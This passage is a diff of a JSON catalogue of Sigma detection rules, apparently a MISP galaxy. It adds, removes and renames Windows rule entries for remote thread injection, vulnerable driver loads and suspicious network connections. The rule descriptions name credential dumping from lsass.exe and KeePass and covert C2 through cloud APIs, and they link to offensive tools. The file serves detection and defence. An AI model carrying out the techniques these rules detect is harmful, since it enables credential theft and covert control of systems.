"https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_crt_rundll32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_susp_targets.yml" ], "tags": [ "attack.defense_evasion", @@ -32486,131 +32249,22 @@ "value": "Remote Thread Creation Via PowerShell In Rundll32" }, { - "description": "Detects remote thread injection events based on action seen used by bumblebee", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_bumblebee.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_bumblebee.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.011", - "attack.t1059.001" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "994cac2b-92c2-44bf-8853-14f6ca39fbda", - "value": "Bumblebee Remote Thread Creation" - }, - { - "description": "Detects remote thread creation by PowerShell processes into \"lsass.exe\"", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_winapi_in_powershell_credentials_dumping.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_winapi_in_powershell_credentials_dumping.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "related": [ - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "fb656378-f909-47c1-8747-278bf09f4f4f", - "value": "Potential Credential Dumping Attempt Via PowerShell Remote Thread" - }, - { - "description": "Detects a remote thread creation in suspicious target images", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/16", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_susp_targets.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_targets.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055.003" - ] - }, - "related": [ - { - "dest-uuid": "41d9846c-f6af-4302-a654-24bba2729bc6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03", - "value": "Remote Thread Creation in Suspicious Targets" - }, - { - "description": "Detects remote thread creation in KeePass.exe indicating password dumping activity", + "description": "Detects remote thread creation in \"KeePass.exe\" which could indicates potential password dumping activity", "meta": { "author": "Timon Hackenjos", "creation_date": "2022/04/22", "falsepositive": [ "Unknown" ], - "filename": "create_remote_thread_win_password_dumper_keepass.yml", + "filename": "create_remote_thread_win_keepass.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/KeeThief", "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", "https://github.com/denandz/KeeFarce", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml" + "https://github.com/GhostPack/KeeThief", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_keepass.yml" ], "tags": [ "attack.credential_access", @@ -32627,66 +32281,7 @@ } ], "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a", - "value": "KeePass Password Dumping" - }, - { - "description": "Detects remote thread creation from CACTUSTORCH as described in references.", - "meta": { - "author": "@SBousseaden (detection), Thomas Patzke (rule)", - "creation_date": "2019/02/01", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_cactustorch.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://github.com/mdsecactivebreach/CACTUSTORCH", - "https://twitter.com/SBousseaden/status/1090588499517079552", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.012", - "attack.execution", - "attack.t1059.005", - "attack.t1059.007", - "attack.t1218.005" - ] - }, - "related": [ - { - "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "2e4e488a-6164-4811-9ea1-f960c7359c40", - "value": "CACTUSTORCH Remote Thread Creation" + "value": "Remote Thread Created In KeePass.EXE" }, { "description": "Detects the creation of a remote thread from a Powershell process to another process", @@ -32696,13 +32291,13 @@ "falsepositive": [ "Unknown" ], - "filename": "create_remote_thread_win_powershell_crt.yml", + "filename": "create_remote_thread_win_powershell_generic.yml", "level": "medium", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_crt.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_generic.yml" ], "tags": [ "attack.execution", @@ -32722,60 +32317,38 @@ "value": "Remote Thread Creation Via PowerShell" }, { - "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like winword.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", + "description": "Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", "meta": { - "author": "Perez Diego (@darkquassar), oscd.community", - "creation_date": "2019/10/27", + "author": "Olaf Hartong, Florian Roth (Nextron Systems), Aleksey Potapov, oscd.community", + "creation_date": "2018/11/30", "falsepositive": [ "Unknown" ], - "filename": "create_remote_thread_win_susp_remote_thread_source.yml", + "filename": "create_remote_thread_win_hktl_cobaltstrike.yml", "level": "high", "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io", - "Personal research, statistical analysis", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml" + "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", + "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cobaltstrike.yml" ], "tags": [ - "attack.privilege_escalation", "attack.defense_evasion", - "attack.t1055" + "attack.t1055.001" ] }, "related": [ { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], - "uuid": "66d31e5f-52d6-40a4-9615-002d3789a119", - "value": "Suspicious Remote Thread Source" - }, - { - "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like winword.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/25", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_susp_remote_thread_target.yml", - "level": "medium", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml" - ], - "tags": "No established tags" - }, - "uuid": "f016c716-754a-467f-a39e-63c06f773987", - "value": "Suspicious Remote Thread Target" + "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42", + "value": "HackTool - Potential CobaltStrike Process Injection" }, { "description": "Detects a remote thread creation of Ttdinject.exe used as proxy", @@ -32843,6 +32416,133 @@ "uuid": "052ec6f6-1adc-41e6-907a-f1c813478bee", "value": "CreateRemoteThread API and LoadLibrary" }, + { + "description": "Detects uncommon processes creating remote threads", + "meta": { + "author": "Perez Diego (@darkquassar), oscd.community", + "creation_date": "2019/10/27", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_uncommon_source_image.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "Personal research, statistical analysis", + "https://lolbas-project.github.io", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_uncommon_source_image.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1055" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "66d31e5f-52d6-40a4-9615-002d3789a119", + "value": "Remote Thread Creation By Uncommon Source Image" + }, + { + "description": "Detects remote thread creation by PowerShell processes into \"lsass.exe\"", + "meta": { + "author": "oscd.community, Natalia Shornikova", + "creation_date": "2020/10/06", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_powershell_lsass.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "related": [ + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "fb656378-f909-47c1-8747-278bf09f4f4f", + "value": "Potential Credential Dumping Attempt Via PowerShell Remote Thread" + }, + { + "description": "Detects remote thread creation from CACTUSTORCH as described in references.", + "meta": { + "author": "@SBousseaden (detection), Thomas Patzke (rule)", + "creation_date": "2019/02/01", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_hktl_cactustorch.yml", + "level": "high", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://github.com/mdsecactivebreach/CACTUSTORCH", + "https://twitter.com/SBousseaden/status/1090588499517079552", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cactustorch.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1055.012", + "attack.t1059.005", + "attack.t1059.007", + "attack.t1218.005" + ] + }, + "related": [ + { + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "2e4e488a-6164-4811-9ea1-f960c7359c40", + "value": "HackTool - CACTUSTORCH Remote Thread Creation" + }, { "description": "Detects the load of the signed poortry driver used by UNC3944 as reported by Mandiant and Sentinel One.", "meta": { @@ -32963,11 +32663,11 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", "https://github.com/fengjixuchui/gdrv-loader", - "https://twitter.com/malmoeb/status/1551449425842786306", "https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details", + "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", "https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details", + "https://twitter.com/malmoeb/status/1551449425842786306", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_gigabyte_driver.yml" ], "tags": [ @@ -33142,8 +32842,8 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", "https://reqrypt.org/windivert-doc.html", + "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_windivert.yml" ], "tags": [ @@ -33343,14 +33043,13 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://processhacker.sourceforge.io/", "https://github.com/winsiderss/systeminformer", + "https://processhacker.sourceforge.io/", "https://systeminformer.sourceforge.io/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_process_hacker.yml" ], "tags": [ "attack.privilege_escalation", - "cve.2021.21551", "attack.t1543" ] }, @@ -33413,8 +33112,8 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities", "https://github.com/alfarom256/CVE-2022-3699/", + "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_lenovo_driver.yml" ], "tags": [ @@ -33549,8 +33248,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/", "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf", + "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml" ], "tags": [ @@ -33572,6 +33271,41 @@ "uuid": "e81528db-fc02-45e8-8e98-4e84aba1f10b", "value": "Notepad Making Network Connection" }, + { + "description": "Detects a \"winlogon.exe\" process that initiate network communications with public IP addresses", + "meta": { + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", + "creation_date": "2023/04/28", + "falsepositive": [ + "Communication to other corporate systems that use IP addresses from public address spaces" + ], + "filename": "net_connection_win_winlogon_net_connections.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_winlogon_net_connections.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.command_and_control", + "attack.t1218.011" + ] + }, + "related": [ + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "7610a4ea-c06d-495f-a2ac-0a696abcfd3b", + "value": "Outbound Network Connection To Public IP Via Winlogon" + }, { "description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.", "meta": { @@ -33585,9 +33319,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://content.fireeye.com/apt-41/rpt-apt41", "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html", + "https://content.fireeye.com/apt-41/rpt-apt41", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dead_drop_resolvers.yml" ], "tags": [ @@ -33684,8 +33418,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml" ], "tags": [ @@ -33785,8 +33519,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml" ], "tags": [ @@ -33913,8 +33647,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling", "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", + "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml" ], "tags": [ @@ -33992,8 +33726,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.ietf.org/rfc/rfc2821.txt", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://www.ietf.org/rfc/rfc2821.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml" ], "tags": [ @@ -34027,11 +33761,11 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", - "https://twitter.com/M_haggis/status/1032799638213066752", "https://twitter.com/M_haggis/status/900741347035889665", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", + "https://twitter.com/M_haggis/status/1032799638213066752", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_susp_com.yml" ], "tags": [ @@ -34136,6 +33870,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml" ], "tags": [ + "attack.persistence", "attack.command_and_control", "attack.t1571" ] @@ -34165,8 +33900,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.poolwatch.io/coin/monero", "https://github.com/stamparm/maltrail/blob/3ea70459b9559134449423c0a7d8b965ac5c40ea/trails/static/suspicious/crypto_mining.txt", + "https://www.poolwatch.io/coin/monero", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining_pools.yml" ], "tags": [ @@ -34276,6 +34011,43 @@ "uuid": "ed74fe75-7594-4b4b-ae38-e38e3fd2eb23", "value": "Outbound RDP Connections Over Non-Standard Tools" }, + { + "description": "Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)", + "meta": { + "author": "Gavin Knapp", + "creation_date": "2023/05/01", + "falsepositive": [ + "Legitimate applications communicating with the \"googleapis.com\" endpoints that are not already in the exclusion list. This is environmental dependent and requires further testing and tuning." + ], + "filename": "net_connection_win_google_api_non_browser_access.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/looCiprian/GC2-sheet", + "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-command-and-control-red-team-tool-in-attacks/", + "https://www.tanium.com/blog/apt41-deploys-google-gc2-for-attacks-cyber-threat-intelligence-roundup/", + "https://services.google.com/fh/files/blogs/gcat_threathorizons_full_apr2023.pdf", + "https://youtu.be/n2dFlSaBBKo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_google_api_non_browser_access.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1102" + ] + }, + "related": [ + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "7e9cf7b6-e827-11ed-a05b-0242ac120003", + "value": "Suspicious Non-Browser Network Communication With Google API" + }, { "description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.", "meta": { @@ -34440,8 +34212,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", "https://ngrok.com/", + "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml" ], "tags": [ @@ -34474,9 +34246,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://twitter.com/kleiton0x7e/status/1600567316810551296", - "https://github.com/kleiton0x00/RedditC2", "https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al", + "https://github.com/kleiton0x00/RedditC2", + "https://twitter.com/kleiton0x7e/status/1600567316810551296", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_reddit_api_non_browser_access.yml" ], "tags": [ @@ -34496,6 +34268,40 @@ "uuid": "d7b09985-95a3-44be-8450-b6eadf49833e", "value": "Suspicious Non-Browser Network Communication With Reddit API" }, + { + "description": "Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as \"OffensiveNotion C2\"", + "meta": { + "author": "Gavin Knapp", + "creation_date": "2023/05/03", + "falsepositive": [ + "Legitimate applications communicating with the \"api.notion.com\" endpoint that are not already in the exclusion list. The desktop and browser applications do not appear to be using the API by default unless integrations are configured." + ], + "filename": "net_connection_win_notion_api_susp_communication.yml", + "level": "low", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/mttaggart/OffensiveNotion", + "https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notion_api_susp_communication.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1102" + ] + }, + "related": [ + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "7e9cf7b6-e827-11ed-a05b-15959c120003", + "value": "Potentially Suspicious Network Connection To Notion API" + }, { "description": "Use IMEWDBLD.exe (built-in to windows) to download a file", "meta": { @@ -34619,8 +34425,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", "https://twitter.com/forensicitguy/status/1513538712986079238", + "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml" ], "tags": [ @@ -34640,6 +34446,41 @@ "uuid": "a66bc059-c370-472c-a0d7-f8fd1bf9d583", "value": "Equation Editor Network Connection" }, + { + "description": "Detects external IP address lookups by non-browser processes via services such as \"api.ipify.org\". This could be indicative of potential post compromise internet test activity.", + "meta": { + "author": "Janantha Marasinghe, Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/04/24", + "falsepositive": [ + "Legitimate use of the external websites for troubleshooting or network monitoring" + ], + "filename": "net_connection_win_susp_external_ip_lookup.yml", + "level": "medium", + "logsource.category": "network_connection", + "logsource.product": "windows", + "refs": [ + "https://github.com/rsp/scripts/blob/c8bb272d68164a9836e4f273d8f924927f39b8c6/externalip-benchmark.md", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-302a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_external_ip_lookup.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ] + }, + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "edf3485d-dac4-4d50-90e4-b0e5813f7e60", + "value": "Suspicious Network Connection to IP Lookup Service APIs" + }, { "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", "meta": { @@ -34653,8 +34494,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", + "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml" ], "tags": "No established tags" @@ -34675,8 +34516,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://megatools.megous.com/", "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://megatools.megous.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml" ], "tags": [ @@ -34696,29 +34537,6 @@ "uuid": "fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4", "value": "Communication To Mega.nz" }, - { - "description": "Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/29", - "falsepositive": [ - "Unlikely" - ], - "filename": "net_connection_win_malware_3cx_compromise_beaconing_activity.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_3cx_compromise_beaconing_activity.yml" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "51eecf75-d069-43c7-9ea2-63f75499edd4", - "value": "Potential Compromised 3CXDesktopApp Beaconing Activity - Netcon" - }, { "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "meta": { @@ -34732,8 +34550,8 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml" ], "tags": [ @@ -34776,48 +34594,6 @@ "uuid": "7047d730-036f-4f40-b9d8-1c63e36d5e62", "value": "Potential Binary Or Script Dropper Via PowerShell.EXE" }, - { - "description": "Detects suspicious processes that write (copy) a 